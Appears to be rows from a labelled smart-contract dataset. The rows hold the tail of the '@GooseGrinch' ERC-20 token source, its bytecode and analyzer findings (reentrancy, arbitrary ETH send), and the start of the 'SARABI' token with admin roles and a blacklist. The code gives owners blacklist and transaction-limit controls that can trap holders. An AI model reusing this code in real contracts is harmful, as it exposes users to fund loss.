mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (type(uint256).max - (type(uint256).max % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _ethSent = 0;
address payable public _feeAddrWallet;
string private constant _name = "@GooseGrinch";
string private constant _symbol = "GG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferType(uint256 ethSent, uint256 transferType, uint256 amount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddrWallet) {
_feeAddrWallet = feeAddrWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function updateFeeWallet(address payable newFeeWallet) external onlyOwner {
_feeAddrWallet = newFeeWallet;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 transferType = 0;
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 0;
_feeAddr2 = 19; //M 15 G 5
transferType = 1;
} else {
_feeAddr1 = 0;
_feeAddr2 = 12; //M 8 G 2
transferType = 2;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 0;
_feeAddr2 = 12; // M 0 G 2
transferType = 3;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
_feeAddr1 = 0;
_feeAddr2 = 0;
transferType = 0;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 _feeAddr1Before = _feeAddr1;
uint256 _feeAddr2Before = _feeAddr2;
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
_ethSent = contractETHBalance;
}
_feeAddr1 = _feeAddr1Before;
_feeAddr2 = _feeAddr2Before;
}
}
_tokenTransfer(from, to, amount);
emit TransferType(_ethSent, transferType, amount);
_ethSent=0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c2d0ffca1161008a578063cc653b4411610064578063cc653b4414610461578063dd62ed3e14610497578063f2fde38b146104dd578063ff872602146104fd57600080fd5b8063c2d0ffca14610417578063c3c8cd8014610437578063c9567bf91461044c57600080fd5b8063715018a6146103795780638da5cb5b1461038e57806395d89b41146103ac578063a9059cbb146103d7578063b515566a146103f7578063bc3371821461041757600080fd5b8063313ce5671161013e5780635932ead1116101185780635932ead11461030457806366718524146103245780636fc3eaec1461034457806370a082311461035957600080fd5b8063313ce567146102a857806341e978fa146102c457806349bd5a5e146102e457600080fd5b806306fdde0314610191578063095ea7b3146101d85780631694505e1461020857806318160ddd1461024057806323b872dd14610266578063273123b71461028657600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600c81526b0808ededee6ca8ee4d2dcc6d60a31b60208201525b6040516101cf9190611bc2565b60405180910390f35b3480156101e457600080fd5b506101f86101f3366004611a53565b610512565b60405190151581526020016101cf565b34801561021457600080fd5b50600f54610228906001600160a01b031681565b6040516001600160a01b0390911681526020016101cf565b34801561024c57600080fd5b50683635c9adc5dea000005b6040519081526020016101cf565b34801561027257600080fd5b506101f8610281366004611a13565b610529565b34801561029257600080fd5b506102a66102a13660046119a3565b610592565b005b3480156102b457600080fd5b50604051600981526020016101cf565b3480156102d057600080fd5b50600e54610228906001600160a01b031681565b3480156102f057600080fd5b50601054610228906001600160a01b031681565b34801561031057600080fd5b506102a661031f366004611b45565b6105e6565b34801561033057600080fd5b506102a661033f3660046119a3565b61062e565b34801561035057600080fd5b506102a661067a565b34801561036557600080fd5b506102586103743660046119a3565b6106a7565b34801561038557600080fd5b506102a66106c9565b34801561039a57600080fd5b506000546001600160a01b0316610228565b3480156103b857600080fd5b50604080518082019091526002815261474760f01b60208201526101c2565b3480156103e357600080fd5b506101f86103f2366004611a53565b6106ff565b34801561040357600080fd5b506102a6610412366004611a7e565b61070c565b34801561042357600080fd5b506102a6610432366004611b7d565b6107b0565b34801561044357600080fd5b506102a66107df565b34801561045857600080fd5b506102a6610815565b34801561046d57600080fd5b5061025861047c3660046119a3565b6001600160a01b031660009081526004602052604090205490565b3480156104a357600080fd5b506102586104b23660046119db565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104e957600080fd5b506102a66104f83660046119a3565b610bd9565b34801561050957600080fd5b506102a6610c71565b600061051f338484610caa565b5060015b92915050565b6000610536848484610dce565b610588843361058385604051806060016040528060288152602001611d93602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061123a565b610caa565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016105bc90611c15565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146106105760405162461bcd60e51b81526004016105bc90611c15565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105bc90611c15565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316336001600160a01b03161461069a57600080fd5b476106a481611274565b50565b6001600160a01b038116600090815260026020526040812054610523906112ae565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105bc90611c15565b6106fd6000611332565b565b600061051f338484610dce565b6000546001600160a01b031633146107365760405162461bcd60e51b81526004016105bc90611c15565b60005b81518110156107ac5760016007600084848151811061076857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a481611d28565b915050610739565b5050565b6000546001600160a01b031633146107da5760405162461bcd60e51b81526004016105bc90611c15565b601155565b600e546001600160a01b0316336001600160a01b0316146107ff57600080fd5b600061080a306106a7565b90506106a481611382565b6000546001600160a01b0316331461083f5760405162461bcd60e51b81526004016105bc90611c15565b601054600160a01b900460ff16156108995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105bc565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108d63082683635c9adc5dea00000610caa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094791906119bf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098f57600080fd5b505afa1580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c791906119bf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a0f57600080fd5b505af1158015610a23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4791906119bf565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a77816106a7565b600080610a8c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b289190611b95565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ac9190611b61565b6000546001600160a01b03163314610c035760405162461bcd60e51b81526004016105bc90611c15565b6001600160a01b038116610c685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b6106a481611332565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b81526004016105bc90611c15565b683635c9adc5dea00000601155565b6001600160a01b038316610d0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610d6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610e945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610ef65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000610f10846010546001600160a01b0391821691161490565b610f89576001600160a01b03841660009081526004602052604090205415801590610f6157506001600160a01b0384166000908152600460205260409020544290610f5e9062015180611cba565b10155b15610f7857506000600b556013600c556001610fcf565b506000600b55600c80556002610fcf565b6001600160a01b038316600090815260046020526040902054610fc2576001600160a01b03831660009081526004602052604090204290555b506000600b55600c805560035b6001600160a01b03841660009081526006602052604090205460ff168061100e57506001600160a01b03831660009081526006602052604090205460ff165b1561102157506000600b819055600c8190555b6000546001600160a01b0385811691161480159061104d57506000546001600160a01b03848116911614155b156111e1576001600160a01b03841660009081526007602052604090205460ff1615801561109457506001600160a01b03831660009081526007602052604090205460ff16155b61109d57600080fd5b6010546001600160a01b0385811691161480156110c85750600f546001600160a01b03848116911614155b80156110ed57506001600160a01b03831660009081526006602052604090205460ff16155b80156111025750601054600160b81b900460ff165b1561115f5760115482111561111657600080fd5b6001600160a01b038316600090815260086020526040902054421161113a57600080fd5b61114542601e611cba565b6001600160a01b0384166000908152600860205260409020555b600061116a306106a7565b601054909150600160a81b900460ff1615801561119557506010546001600160a01b03868116911614155b80156111aa5750601054600160b01b900460ff165b156111df57600b54600c546111be83611382565b4780156111d4576111ce47611274565b600d8190555b50600b91909155600c555b505b6111ec848484611527565b600d54604080519182526020820183905281018390527f52cc9b3b9b2fbca105996d3a85d38c08aa29f0228c897d6e2ab118a3c0ea8bfd9060600160405180910390a150506000600d555050565b6000818484111561125e5760405162461bcd60e51b81526004016105bc9190611bc2565b50600061126b8486611d11565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ac573d6000803e3d6000fd5b60006009548211156113155760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b600061131f611537565b905061132b838261155a565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142c57600080fd5b505afa158015611440573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146491906119bf565b8160018151811061148557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114ab9130911684610caa565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e4908590600090869030904290600401611c4a565b600060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b61153283838361159c565b505050565b6000806000611544611693565b9092509050611553828261155a565b9250505090565b600061132b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b6000806000806000806115ae87611703565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115e09087611760565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461160f90866117a2565b6001600160a01b03891660009081526002602052604090205561163181611801565b61163b848361184b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168091815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006116af828261155a565b8210156116cc57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836116f65760405162461bcd60e51b81526004016105bc9190611bc2565b50600061126b8486611cd2565b60008060008060008060008060006117208a600b54600c5461186f565b9250925092506000611730611537565b905060008060006117438e8787876118c4565b919e509c509a509598509396509194505050505091939550919395565b600061132b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123a565b6000806117af8385611cba565b90508381101561132b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b600061180b611537565b905060006118198383611914565b3060009081526002602052604090205490915061183690826117a2565b30600090815260026020526040902055505050565b6009546118589083611760565b600955600a5461186890826117a2565b600a555050565b600080808061188960646118838989611914565b9061155a565b9050600061189c60646118838a89611914565b905060006118b4826118ae8b86611760565b90611760565b9992985090965090945050505050565b60008080806118d38886611914565b905060006118e18887611914565b905060006118ef8888611914565b90506000611901826118ae8686611760565b939b939a50919850919650505050505050565b60008261192357506000610523565b600061192f8385611cf2565b90508261193c8583611cd2565b1461132b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b803561199e81611d6f565b919050565b6000602082840312156119b4578081fd5b813561132b81611d6f565b6000602082840312156119d0578081fd5b815161132b81611d6f565b600080604083850312156119ed578081fd5b82356119f881611d6f565b91506020830135611a0881611d6f565b809150509250929050565b600080600060608486031215611a27578081fd5b8335611a3281611d6f565b92506020840135611a4281611d6f565b929592945050506040919091013590565b60008060408385031215611a65578182fd5b8235611a7081611d6f565b946020939093013593505050565b60006020808385031215611a90578182fd5b823567ffffffffffffffff80821115611aa7578384fd5b818501915085601f830112611aba578384fd5b813581811115611acc57611acc611d59565b8060051b604051601f19603f83011681018181108582111715611af157611af1611d59565b604052828152858101935084860182860187018a1015611b0f578788fd5b8795505b83861015611b3857611b2481611993565b855260019590950194938601938601611b13565b5098975050505050505050565b600060208284031215611b56578081fd5b813561132b81611d84565b600060208284031215611b72578081fd5b815161132b81611d84565b600060208284031215611b8e578081fd5b5035919050565b600080600060608486031215611ba9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bee57858101830151858201604001528201611bd2565b81811115611bff5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c995784516001600160a01b031683529383019391830191600101611c74565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ccd57611ccd611d43565b500190565b600082611ced57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d0c57611d0c611d43565b500290565b600082821015611d2357611d23611d43565b500390565b6000600019821415611d3c57611d3c611d43565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106a457600080fd5b80151581146106a457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c99e1b2b3a5dd665dea0b28bb8e4368257038642df1d926d5e02612c8b5911a264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 868 |
0xe994edd9d50928b387f5bb85a66fa634c459311e | /*
_________________________$__$_$$$_____$$$$________
_____________________$$$$$$$$$$$$$$$$$$$$$$$______
____________________$$$$$$$___$$_____$$$$$$_$$____
__________________$$$$$$$$$$_$$$$_____$$$$$$_$$___
__________________$$$$$$$$$$___$_____$$$$$__$$$___
________________$$$$$$$$$$$$_$$_$__$$$$$__________
________________$$$$$$$$$$$$_$$$$_$__$$$__________
_________________$$$$$$$$$$__$$$___$$$$$$_________
__________________$$$$$$$$$________$$$$$$$________
______________________$$$$____$$____$$$_$$________
________________________$$$____$$______$$_________
________________________$$$______$$$$$____________
______________________$$$$$$_____$$$$$____________
_____________________$$$$_$$$$$$$$________________
_____$______________$$$_____$$$$$$________________
_____$$___________$$$____________$________________
_____$$$_______$$$_________$____$$$_______________
_____$$$____$$$$____$______$$___$$$_______________
_____$_$___$$_______$$____$_$__$$$$_______________
_____$____$$$$$$$$$__$___$$$$__$_$________________
____$_$__$$_$$___$$$$$___$$$__$$__$_______________
____$_$__$$$_____$$$$$__$_$$__$$__$_______________
____$$$$$$$___$___$_$$_____$_$$___$$______________
_____$$_$$$___$_____$$_____$$$$____$______________
______$$$$$__________$$____$__$____$$$____________
_________$$_________$$$____$$$$$$__$$$$$__________
__________$$___$$$$$$$$$___$_$$$$$__$$$$__________
___________$$$$____$_$$_$__$$_$$_$$$$$$___________
_____________$$$$$$$_$$_$$$$$$$$__________________
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SARABI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
